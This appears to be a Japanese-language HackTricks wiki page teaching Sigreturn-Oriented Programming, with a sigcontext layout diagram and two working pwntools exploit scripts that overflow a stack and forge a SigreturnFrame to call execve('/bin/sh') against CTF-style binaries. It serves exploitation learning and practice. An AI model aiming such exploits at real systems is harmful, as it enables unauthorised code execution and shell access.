SROP - Sigreturn-Oriented Programming

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

基本情報

Sigreturn は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な syscall です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために シグナルハンドラ という特別な関数を使用して、現在の作業を一時的に中断します。

シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように 以前の状態に戻る 必要があります。ここで sigreturn が登場します。これは、プログラムが シグナルハンドラから戻る のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。

興味深いのは、sigreturn がプログラムの状態をどのように復元するかです:それは すべてのCPUのレジスタ値をスタックに保存することによって 行います。シグナルがもはやブロックされていないとき、sigreturn はこれらの値をスタックからポップし、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタ(RSP)が含まれます。

ROPチェーンから sigreturn システムコールを呼び出し、スタックに読み込むレジスタ値を追加する ことで、すべてのレジスタ値を 制御 できるため、例えば /bin/shexecve システムコールを 呼び出す ことが可能です。

これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる Ret2syscallの一種 であることに注意してください:

Ret2syscall

興味がある方のために、これは後で値を回復するためにスタックに保存される sigcontext構造体 です(図は こちら から):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

より良い説明のために、こちらも確認してください:

ここに例があります では、ROPを介してsigneturnへの呼び出しが構築されています(rxaに値0xfを入れる)、ただし、これはそこからの最終的なエクスプロイトです:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Check also the exploit from here where the binary was already calling sigreturn and therefore it's not needed to build that with a ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

その他の例と参考文献

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated